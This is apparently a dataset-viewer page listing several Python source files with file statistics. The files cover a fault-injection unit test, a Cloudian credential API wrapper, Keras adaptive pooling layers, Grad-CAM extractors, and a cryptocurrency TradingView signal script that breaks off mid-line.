xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

659b5ae81089e51dc7b7b127999646434dcef74e

5,628

py

Python

test/unit_tests/test_init.py

TarekAloui/pytorchfi

29915e158941a21fc786e6a59c958ec751a59167

[ "NCSA" ]

null

test/unit_tests/test_init.py

TarekAloui/pytorchfi

29915e158941a21fc786e6a59c958ec751a59167

[ "NCSA" ]

null

test/unit_tests/test_init.py

TarekAloui/pytorchfi

29915e158941a21fc786e6a59c958ec751a59167

[ "NCSA" ]

null

import pytest import torch from pytorchfi.core import fault_injection as pfi_core from .util_test import helper_setUp_CIFAR10_same class TestNeuronCPUSingle: """ Testing focuses on neuron perturbations on the CPU with a single batch element. """ def setup_class(self): self.BATCH_SIZE = 1 self.WORKERS = 1 self.channels = 3 self.img_size = 32 self.USE_GPU = False self.model, self.dataset = helper_setUp_CIFAR10_same( self.BATCH_SIZE, self.WORKERS ) self.dataiter = iter(self.dataset) self.model.eval() torch.no_grad() self.images, self.labels = self.dataiter.next() self.output = self.model(self.images) def test_init_cpu(self): """ #TODO: More comprehensive test """ pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) def test_orig_model_cpu(self): p = pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) self.faulty_model = p.get_original_model() if self.faulty_model is not self.model: raise AssertionError class TestNeuronGPUSingle: """ Testing focuses on neuron perturbations on the GPU with a single batch element. """ def setup_class(self): self.BATCH_SIZE = 1 self.WORKERS = 1 self.channels = 3 self.img_size = 32 self.USE_GPU = True self.model, self.dataset = helper_setUp_CIFAR10_same( self.BATCH_SIZE, self.WORKERS ) self.model.cuda() self.dataiter = iter(self.dataset) self.model.eval() torch.no_grad() self.images, self.labels = self.dataiter.next() self.images = self.images.cuda() self.output = self.model(self.images) @pytest.mark.skipif( not torch.cuda.is_available(), reason="GPU not supported on this machine" ) def test_init_gpu(self): """ TODO: More comprehensive test """ pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) @pytest.mark.skipif( not torch.cuda.is_available(), reason="GPU not supported on this machine" ) def test_orig_model_gpu(self): p = pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) self.faulty_model = p.get_original_model() if self.faulty_model is not self.model: raise AssertionError class TestDtypes: """ Testing focuses on using different model datatypes """ def setup_class(self): self.BATCH_SIZE = 1 self.WORKERS = 1 self.channels = 3 self.img_size = 32 self.model, self.dataset = helper_setUp_CIFAR10_same( self.BATCH_SIZE, self.WORKERS ) self.dataiter = iter(self.dataset) self.images, self.labels = self.dataiter.next() @pytest.mark.skipif( not torch.cuda.is_available(), reason="GPU not supported on this machine" ) def test_fp32_gpu(self): """ TODO: More comprehensive test """ self.USE_GPU = True self.model.to("cuda") self.model.eval() torch.no_grad() self.images = self.images.cuda() self.output = self.model(self.images) pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) def test_fp32_cpu(self): """ TODO: More comprehensive test """ self.USE_GPU = False self.model.to("cpu") self.model.eval() torch.no_grad() self.output = self.model(self.images) pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) @pytest.mark.skipif( not torch.cuda.is_available(), reason="GPU not supported on this machine" ) def test_fp16_gpu(self): """ TODO: More comprehensive test """ self.USE_GPU = True self.model.to("cuda") self.model.half() self.model.eval() torch.no_grad() self.images = self.images.cuda() self.output = self.model(self.images.half()) pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, ) @pytest.mark.skip(reason="Experimental in PyTorch") def test_INT8_cpu(self): """ TODO: More comprehensive test """ self.USE_GPU = False self.model.to("cpu") self.model = torch.quantization.quantize_dynamic( self.model, {torch.nn.Linear}, dtype=torch.qint8 ) self.model.eval() with torch.no_grad(): self.output = self.model(self.images) pfi_core( self.model, self.BATCH_SIZE, input_shape=[self.channels, self.img_size, self.img_size], use_cuda=self.USE_GPU, )

26.422535

83

0.575338

683

5,628

4.556369

0.144949

0.095437

0.067159

0.041131

0.868895

0.856041

0.818766

0

0.008136

0.323028

5,628

212

84

26.54717

0.808661

0.069474

0

0.743243

0

0.033445

0

0.028302

0.013514

1

0.074324

false

0

0.027027

0

0.121622

0

null

0

1

0

1

0

null

0

1

0

8

65be4aba41616c86c99c942e62ce33cd9ee59159

1,897

py

Python

obs/libs/cloudian/credential.py

meongbego/neo-obs

23c85642d3533e16855a1158fb939cd4b47fc7d6

[ "MIT" ]

1

2018-09-08T12:59:11.000Z

obs/libs/cloudian/credential.py

meongbego/neo-obs

23c85642d3533e16855a1158fb939cd4b47fc7d6

[ "MIT" ]

null

obs/libs/cloudian/credential.py

meongbego/neo-obs

23c85642d3533e16855a1158fb939cd4b47fc7d6

[ "MIT" ]

null

from obs.libs.cloudian import requestors from obs.libs.cloudian import user def get(data=None, json=None, method='GET'): credentials = requestors.request( url=user.base_url + '/credentials', data=data, json=json, method=method) return credentials def list(data=None, json=None, method='GET'): user_credentials = requestors.request( url=user.base_url + '/credentials/list', data=data, json=json, method=method) return user_credentials def create(data=None, json=None, method='PUT'): user_credentials = requestors.request( url=user.base_url + '/credentials', data=data, json=json, method=method) return user_credentials def update(data=None, json=None, method='POST'): user_credentials = requestors.request( url=user.base_url + '/credentials', data=data, json=json, method=method) return user_credentials def status(data=None, json=None, method='POST'): user_credentials = requestors.request( url=user.base_url + '/credentials/status', data=data, json=json, method=method) return user_credentials def delete(data=None, json=None, method='DELETE'): user_credentials = requestors.request( url=user.base_url + '/credentials', data=data, json=json, method=method) return user_credentials

33.875

70

0.486031

168

1,897

5.392857

0.14881

0.165563

0.07947

0.10596

0.910596

0.806843

0.751656

0.688742

0

0.428571

1,897

56

71

33.875

0.835793

0

0.727273

0

0.056375

0

1

0.136364

false

0

0.045455

0

0.318182

0

null

0

1

0

1

0

null

0

7

65d06b3c137d06ae57efa9b4b5bc60fecc67693d

182

py

Python

src/UnitFactory.py

gle8098/hundred-years-war

c74820337dd4ea6129c0b2aaa012be5666814e76

[ "WTFPL" ]

null

src/UnitFactory.py

gle8098/hundred-years-war

c74820337dd4ea6129c0b2aaa012be5666814e76

[ "WTFPL" ]

null

src/UnitFactory.py

gle8098/hundred-years-war

c74820337dd4ea6129c0b2aaa012be5666814e76

[ "WTFPL" ]

null

class UnitFactory: def create_cavalry(self, squad): pass def create_swordsmen(self, squad): pass def create_archers(self, squad): pass

18.2

39

0.593407

20

182

5.25

0.5

0.257143

0.371429

0.304762

0.419048

0

0.335165

182

9

40

20.222222

0.867769

0

0.428571

0

1

0.428571

false

0.428571

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

65e41d4ab3343193ef0446ef4905c48f60d77a65

11,807

py

Python

tensorflow/python/keras/layers/adaptive_pooling.py

Susmit-A/tensorflow

a635b44f41e92fc3b6a1beac14f6465c97087887

[ "Apache-2.0" ]

null

tensorflow/python/keras/layers/adaptive_pooling.py

Susmit-A/tensorflow

a635b44f41e92fc3b6a1beac14f6465c97087887

[ "Apache-2.0" ]

null

tensorflow/python/keras/layers/adaptive_pooling.py

Susmit-A/tensorflow

a635b44f41e92fc3b6a1beac14f6465c97087887

[ "Apache-2.0" ]

null

import tensorflow as tf from tensorflow.python.keras.engine.base_layer import Layer from tensorflow.python.util.tf_export import keras_export @keras_export('keras.layers.AdaptiveAveragePooling1D') class AdaptiveAveragePooling1D(Layer): """Average Pooling with adaptive kernel size and strides. Arguments: bins: Number of steps in the output data_format: A string, one of `channels_last` (default) or `channels_first`. The ordering of the dimensions in the inputs. `channels_last` corresponds to inputs with shape `(batch, steps, features)` while `channels_first` corresponds to inputs with shape `(batch, features, steps)`. Input shape: - If `data_format='channels_last'`: 3D tensor with shape `(batch_size, steps, features)`. - If `data_format='channels_first'`: 3D tensor with shape `(batch_size, features, steps)`. Output shape: - If `data_format='channels_last'`: 3D tensor with shape `(batch_size, bins, features)`. - If `data_format='channels_first'`: 3D tensor with shape `(batch_size, features, bins)`. """ def __init__(self, bins, data_format='channels_last', **kwargs): self._bins = bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': splits = tf.split(inputs, self._bins, axis=1) splits = tf.stack(splits, axis=1) out_vect = tf.reduce_mean(splits, axis=2) else: splits = tf.split(inputs, self._bins, axis=2) splits = tf.stack(splits, axis=2) out_vect = tf.reduce_mean(splits, axis=3) return out_vect @keras_export('keras.layers.AdaptiveAveragePooling2D') class AdaptiveAveragePooling2D(Layer): """Average Pooling with adaptive kernel size and strides. Arguments: h_bins: Output Height w_bins: Output Width Input shape: - If `data_format='channels_last'`: 4D tensor with shape `(batch_size, height, width, features)`. - If `data_format='channels_first'`: 4D tensor with shape `(batch_size, features, height, width)`. Output shape: - If `data_format='channels_last'`: 4D tensor with shape `(batch_size, h_bins, w_bins, features)`. - If `data_format='channels_first'`: 4D tensor with shape `(batch_size, features, h_bins, w_bins)`. """ def __init__(self, h_bins, w_bins, data_format='channels_last', **kwargs): self._h_bins = h_bins self._w_bins = w_bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': split_cols = tf.split(inputs, self._h_bins, axis=1) split_cols = tf.stack(split_cols, axis=1) split_rows = tf.split(split_cols, self._w_bins, axis=3) split_rows = tf.stack(split_rows, axis=3) out_vect = tf.reduce_mean(split_rows, axis=[2, 4]) else: split_cols = tf.split(inputs, self._h_bins, axis=2) split_cols = tf.stack(split_cols, axis=2) split_rows = tf.split(split_cols, self._w_bins, axis=4) split_rows = tf.stack(split_rows, axis=4) out_vect = tf.reduce_mean(split_rows, axis=[3, 5]) return out_vect @keras_export('keras.layers.AdaptiveAveragePooling3D') class AdaptiveAveragePooling3D(Layer): """Average Pooling with adaptive kernel size and strides. Arguments: h_bins: Output Height w_bins: Output Width d_bins: Output Depth Input shape: - If `data_format='channels_last'`: 5D tensor with shape `(batch_size, height, width, depth, features)`. - If `data_format='channels_first'`: 5D tensor with shape `(batch_size, features, height, width, depth)`. Output shape: - If `data_format='channels_last'`: 5D tensor with shape `(batch_size, h_bins, w_bins, d_bins, features)`. - If `data_format='channels_first'`: 5D tensor with shape `(batch_size, features, h_bins, w_bins, d_bins)`. """ def __init__(self, h_bins, w_bins, d_bins, data_format='channels_last', **kwargs): self._h_bins = h_bins self._w_bins = w_bins self._d_bins = d_bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': split_cols = tf.split(inputs, self._h_bins, axis=1) split_cols = tf.stack(split_cols, axis=1) split_rows = tf.split(split_cols, self._w_bins, axis=3) split_rows = tf.stack(split_rows, axis=3) split_depth = tf.split(split_rows, self._d_bins, axis=5) split_depth = tf.stack(split_depth, axis=5) out_vect = tf.reduce_mean(split_depth, axis=[2, 4, 6]) else: split_cols = tf.split(inputs, self._h_bins, axis=2) split_cols = tf.stack(split_cols, axis=2) split_rows = tf.split(split_cols, self._w_bins, axis=4) split_rows = tf.stack(split_rows, axis=4) split_depth = tf.split(split_rows, self._d_bins, axis=6) split_depth = tf.stack(split_depth, axis=6) out_vect = tf.reduce_mean(split_depth, axis=[3, 5, 7]) return out_vect @keras_export('keras.layers.AdaptiveMaxPooling1D') class AdaptiveMaxPooling1D(Layer): """Max Pooling with adaptive kernel size and strides. Arguments: bins: Number of steps in the output data_format: A string, one of `channels_last` (default) or `channels_first`. The ordering of the dimensions in the inputs. `channels_last` corresponds to inputs with shape `(batch, steps, features)` while `channels_first` corresponds to inputs with shape `(batch, features, steps)`. Input shape: - If `data_format='channels_last'`: 3D tensor with shape `(batch_size, steps, features)`. - If `data_format='channels_first'`: 3D tensor with shape `(batch_size, features, steps)`. Output shape: - If `data_format='channels_last'`: 3D tensor with shape `(batch_size, bins, features)`. - If `data_format='channels_first'`: 3D tensor with shape `(batch_size, features, bins)`. """ def __init__(self, bins, data_format='channels_last', **kwargs): self._bins = bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': splits = tf.split(inputs, self._bins, axis=1) splits = tf.stack(splits, axis=1) out_vect = tf.reduce_max(splits, axis=2) else: splits = tf.split(inputs, self._bins, axis=2) splits = tf.stack(splits, axis=2) out_vect = tf.reduce_max(splits, axis=3) return out_vect @keras_export('keras.layers.AdaptiveMaxPooling2D') class AdaptiveMaxPooling2D(Layer): """Max Pooling with adaptive kernel size and strides. Arguments: h_bins: Output Height w_bins: Output Width Input shape: - If `data_format='channels_last'`: 4D tensor with shape `(batch_size, height, width, features)`. - If `data_format='channels_first'`: 4D tensor with shape `(batch_size, features, height, width)`. Output shape: - If `data_format='channels_last'`: 4D tensor with shape `(batch_size, h_bins, w_bins, features)`. - If `data_format='channels_first'`: 4D tensor with shape `(batch_size, features, h_bins, w_bins)`. """ def __init__(self, h_bins, w_bins, data_format='channels_last', **kwargs): self._h_bins = h_bins self._w_bins = w_bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': split_cols = tf.split(inputs, self._h_bins, axis=1) split_cols = tf.stack(split_cols, axis=1) split_rows = tf.split(split_cols, self._w_bins, axis=3) split_rows = tf.stack(split_rows, axis=3) out_vect = tf.reduce_max(split_rows, axis=[2, 4]) else: split_cols = tf.split(inputs, self._h_bins, axis=2) split_cols = tf.stack(split_cols, axis=2) split_rows = tf.split(split_cols, self._w_bins, axis=4) split_rows = tf.stack(split_rows, axis=4) out_vect = tf.reduce_max(split_rows, axis=[3, 5]) return out_vect @keras_export('keras.layers.AdaptiveMaxPooling3D') class AdaptiveMaxPooling3D(Layer): """Max Pooling with adaptive kernel size and strides. Arguments: h_bins: Output Height w_bins: Output Width d_bins: Output Depth Input shape: - If `data_format='channels_last'`: 5D tensor with shape `(batch_size, height, width, depth, features)`. - If `data_format='channels_first'`: 5D tensor with shape `(batch_size, features, height, width, depth)`. Output shape: - If `data_format='channels_last'`: 5D tensor with shape `(batch_size, h_bins, w_bins, d_bins, features)`. - If `data_format='channels_first'`: 5D tensor with shape `(batch_size, features, h_bins, w_bins, d_bins)`. """ def __init__(self, h_bins, w_bins, d_bins, data_format='channels_last', **kwargs): self._h_bins = h_bins self._w_bins = w_bins self._d_bins = d_bins self.data_format = data_format super().__init__(**kwargs) def build(self, input_shape): super().build(input_shape) def call(self, inputs, *args): if self.data_format == 'channels_last': split_cols = tf.split(inputs, self._h_bins, axis=1) split_cols = tf.stack(split_cols, axis=1) split_rows = tf.split(split_cols, self._w_bins, axis=3) split_rows = tf.stack(split_rows, axis=3) split_depth = tf.split(split_rows, self._d_bins, axis=5) split_depth = tf.stack(split_depth, axis=5) out_vect = tf.reduce_max(split_depth, axis=[2, 4, 6]) else: split_cols = tf.split(inputs, self._h_bins, axis=2) split_cols = tf.stack(split_cols, axis=2) split_rows = tf.split(split_cols, self._w_bins, axis=4) split_rows = tf.stack(split_rows, axis=4) split_depth = tf.split(split_rows, self._d_bins, axis=6) split_depth = tf.stack(split_depth, axis=6) out_vect = tf.reduce_max(split_depth, axis=[3, 5, 7]) return out_vect

41.720848

90

0.597527

1,502

11,807

4.422104

0.063249

0.075279

0.097561

0.072267

0.934357

0.928937

0.924721

0.915688

0

0.012971

0.294825

11,807

282

91

41.868794

0.784771

0.363598

0

0.808511

0

0.054562

0.031306

0

1

0.12766

false

0

0.021277

0

0.234043

0

null

0

1

0

1

0

null

0

7

02af286f0733e675708d7efe1cb953037bda3bc2

4,565

py

Python

rafiki/panda/modules/explanations/gradcam/extractor.py

dcslin/rafiki

b617ac2536ac13095c4930d6d3f1f9b3c231b5e7

[ "Apache-2.0" ]

null

rafiki/panda/modules/explanations/gradcam/extractor.py

dcslin/rafiki

b617ac2536ac13095c4930d6d3f1f9b3c231b5e7

[ "Apache-2.0" ]

null

rafiki/panda/modules/explanations/gradcam/extractor.py

dcslin/rafiki

b617ac2536ac13095c4930d6d3f1f9b3c231b5e7

[ "Apache-2.0" ]

null

""" Grad CAM extractors for NN """ import torch import torch.nn.functional as F class CamExtractorAlexNet(): """ Extracts cam features from the model """ def __init__(self, model, target_layer): self.model = model self.target_layer = target_layer self.gradients = None def save_gradient(self, grad): self.gradients = grad def forward_pass_on_convolutions(self, x): """ Does a forward pass on convolutions, hooks the function at given layer """ conv_output = None for module_pos, module in self.model.features._modules.items(): # print("{} in:{}".format(module_pos, x.shape)) x = module(x) # Forward # print("{} ou:{}".format(module_pos, x.shape)) if int(module_pos) == self.target_layer: x.register_hook(self.save_gradient) conv_output = x # Save the convolution output on that layer return conv_output, x def forward_pass(self, x): """ Does a full forward pass on the model """ # Forward pass on the convolutions conv_output, x = self.forward_pass_on_convolutions(x) x = self.model.avgpool(x) x = x.view(x.size(0), -1) # Flatten # Forward pass on the classifier x = self.model.classifier(x) return conv_output, x class CamExtractorDenseNet(): """ Extracts cam features from the model """ def __init__(self, model, target_layer): self.model = model self.target_layer = target_layer self.gradients = None def save_gradient(self, grad): self.gradients = grad def forward_pass_on_convolutions(self, x): """ Does a forward pass on convolutions, hooks the function at given layer """ x = self.model.features(x) x.register_hook(self.save_gradient) conv_output = x return conv_output, x def forward_pass(self, x): """ Does a full forward pass on the model """ # Forward pass on the convolutions conv_output, x = self.forward_pass_on_convolutions(x) x = F.relu(x, inplace=True) x = F.adaptive_avg_pool2d(x, (1, 1)).view(x.size(0), -1) # Forward pass on the classifier x = self.model.classifier(x) return conv_output, x class CamExtractorResNet(): """ Extracts cam features from the model """ def __init__(self, model, target_layer): self.model = model self.target_layer = target_layer self.gradients = None def save_gradient(self, grad): self.gradients = grad def forward_pass_on_convolutions(self, x): """ Does a forward pass on convolutions, hooks the function at given layer """ x = self.model.conv1(x) x = self.model.bn1(x) x = self.model.relu(x) x = self.model.maxpool(x) x = self.model.layer1(x) x = self.model.layer2(x) x = self.model.layer3(x) x = self.model.layer4(x) x.register_hook(self.save_gradient) conv_output = x return conv_output, x def forward_pass(self, x): """ Does a full forward pass on the model """ # Forward pass on the convolutions conv_output, x = self.forward_pass_on_convolutions(x) x = self.model.avgpool(x) x = x.reshape(x.size(0), -1) # Forward pass on the classifier x = self.model.fc(x) return conv_output, x class CamExtractorVGG(): """ Extracts cam features from the model """ def __init__(self, model, target_layer): self.model = model self.target_layer = target_layer self.gradients = None def save_gradient(self, grad): self.gradients = grad def forward_pass_on_convolutions(self, x): """ Does a forward pass on convolutions, hooks the function at given layer """ x = self.model.features(x) x.register_hook(self.save_gradient) conv_output = x return conv_output, x def forward_pass(self, x): """ Does a full forward pass on the model """ # Forward pass on the convolutions conv_output, x = self.forward_pass_on_convolutions(x) x = self.model.avgpool(x).view(x.size(0), -1) # Forward pass on the classifier x = self.model.classifier(x) return conv_output, x

29.642857

82

0.590361

586

4,565

4.440273

0.138225

0.11837

0.119908

0.115296

0.820523

0.804381

0.791314

0.775942

0

0.00543

0.314129

4,565

153

83

29.836601

0.825615

0.222782

0

0.710843

0

1

0.192771

false

0.144578

0.024096

0

0.361446

0

null

0

1

0

1

0

null

0

1

0

8

02d8b9f1eed97f92ea4f95acf2ef44b4d829120d

18,679

py

Python

SignalBot/tradingview_data.py

RaymondTerry/SignalBot

b18d07c5092abfcafcca5a9a01f2fc4c7856f537

[ "MIT" ]

2

2021-12-19T03:55:29.000Z

2022-01-28T00:46:59.000Z

SignalBot/tradingview_data.py

RaymondTerry/SignalBot

b18d07c5092abfcafcca5a9a01f2fc4c7856f537

[ "MIT" ]

null

SignalBot/tradingview_data.py

RaymondTerry/SignalBot

b18d07c5092abfcafcca5a9a01f2fc4c7856f537

[ "MIT" ]

2

2022-01-02T10:05:30.000Z

2022-02-17T11:04:17.000Z

from tradingview_ta import * import sms_api import sms_auth import math # High end of portfolio EOS = "EOSUSD" XRP = "XRPUSD" BCH = "BCHUSD" DASH = "DASHUSD" #Rest of portfolio BTC = "BTCUSD" ETH = "ETHUSD" XLM = "XLMUSD" LINK = "LINKUSD" #et cetera and so forth... #''' Evaluates various TA targets to determine buy/sell indications ''' def buy_or_sell_eos(): handler = TA_Handler( symbol=EOS, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.04) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA EOS") sms_api.send_buy_eos_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.04) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE") sms_api.send_buy_eos_sms() else: pass if blue_line < orange_line and blue_line <= 0.200 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.04) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE EOS") sms_api.send_buy_eos_sms() else: pass if blue_line > orange_line and blue_line > 0.240 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.04) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT EOS") sms_api.send_sell_eos_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 0.08) == True: print("GOLDEN CROSS OR BEAR CROSS") sms_api.send_eos_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA EOS") sms_api.send_buy_eos_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit EOS") sms_api.send_sell_eos_sms() else: pass def buy_or_sell_xrp(): handler = TA_Handler( symbol=XRP, screener="crypto", exchange="BITFINEX", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.009) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA XRP") sms_api.send_buy_xrp_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.009) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE") sms_api.send_buy_xrp_sms() else: pass if blue_line < orange_line and blue_line <= 0.100 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.009) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE XRP") sms_api.send_buy_xrp_sms() else: pass if blue_line > orange_line and blue_line > 0.100 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.009) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT XRP") sms_api.send_sell_xrp_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 0.08) == True: print("GOLDEN CROSS OR BEAR CROSS ON XRP") sms_api.send_xrp_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA XRP") sms_api.send_buy_xrp_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit XRP") sms_api.send_sell_xrp_sms() else: pass def buy_or_sell_bch(): handler = TA_Handler( symbol=BCH, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.90) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA BCH") sms_api.send_buy_bch_sms() else: pass if blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.90) == True > ema_200: print("GOOD TIME TO ENTER TRADE BCH") sms_api.send_buy_bch_sms() else: pass if blue_line > 30 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 1.00) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT BCH") sms_api.send_sell_bch_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 3.00) == True: print("GOLDEN CROSS OR BEAR CROSS ON BCH") sms_api.send_bch_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA BCH") sms_api.send_buy_bch_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit BCH") sms_api.send_sell_bch_sms() else: pass def buy_or_sell_dash(): handler = TA_Handler( symbol=DASH, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.20) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA DASH") sms_api.send_buy_dash_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.20) == True and price > ema_200: print("GOOD TIME TO ENTER DASH") sms_api.send_buy_dash_sms() else: pass if blue_line < orange_line and blue_line <= 17 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.20) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE DASH") sms_api.send_buy_dash_sms() else: pass if blue_line > orange_line and blue_line > 17 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.20) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT DASH") sms_api.send_sell_dash_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 3.00) == True: print("GOLDEN CROSS OR BEAR CROSS ON DASH") sms_api.send_dash_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA DASH") sms_api.send_buy_dash_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit DASH") sms_api.send_sell_dash_sms() else: pass def buy_or_sell_xlm(): handler = TA_Handler( symbol=XLM, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.0009) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA XLM") sms_api.send_buy_xlm_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 0.0009) == True and price > ema_200: print("GOOD TIME TO ENTER XLM") sms_api.send_buy_xlm_sms() else: pass if blue_line < orange_line and blue_line <= 0.0180 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.0009) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE XLM") sms_api.send_buy_xlm_sms() else: pass if blue_line > orange_line and blue_line > 0.0180 and orange_line > 0 and math.isclose(blue_line, orange_line, abs_tol = 0.0009) == True and price > ema_200: print("GOOD TIME TO TAKE PROFIT XLM") sms_api.send_sell_xlm_sms() else: pass if math.isclose(ema_20, ema_50, abs_tol = 0.006) == True: print("GOLDEN CROSS OR BEAR CROSS ON XLM") sms_api.send_xlm_ema_sms() else: pass if daily_change <= -17.0000: print("Decent dip to DCA XLM") sms_api.send_buy_xlm_sms() else: pass if daily_change >= 17.0000: print("Decent spike to take profit XLM") sms_api.send_sell_xlm_sms() else: pass def buy_or_sell_btc(): handler = TA_Handler( symbol=BTC, screener="crypto", exchange="COINBASE", interval=Interval.INTERVAL_1_DAY ) analysis = handler.get_analysis() blue_line = analysis.indicators["MACD.macd"] #BLUE LINE orange_line = analysis.indicators["MACD.signal"] #ORANGE LINE rsi = analysis.indicators["RSI"] ema_200 = analysis.indicators["EMA200"] ema_20 = analysis.indicators["EMA20"] ema_50 = analysis.indicators["EMA50"] price = analysis.indicators['close'] daily_change = analysis.indicators['change'] if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 12.00) == True and price < ema_200 and rsi < 50: print("GOOD TIME TO DCA BTC") sms_api.send_buy_btc_sms() else: pass if blue_line < orange_line and blue_line <= 0 and orange_line <= 0 and math.isclose(blue_line, orange_line, abs_tol = 12.00) == True and price > ema_200: print("GOOD TIME TO ENTER TRADE") sms_api.send_buy_btc_sms() else: pass if 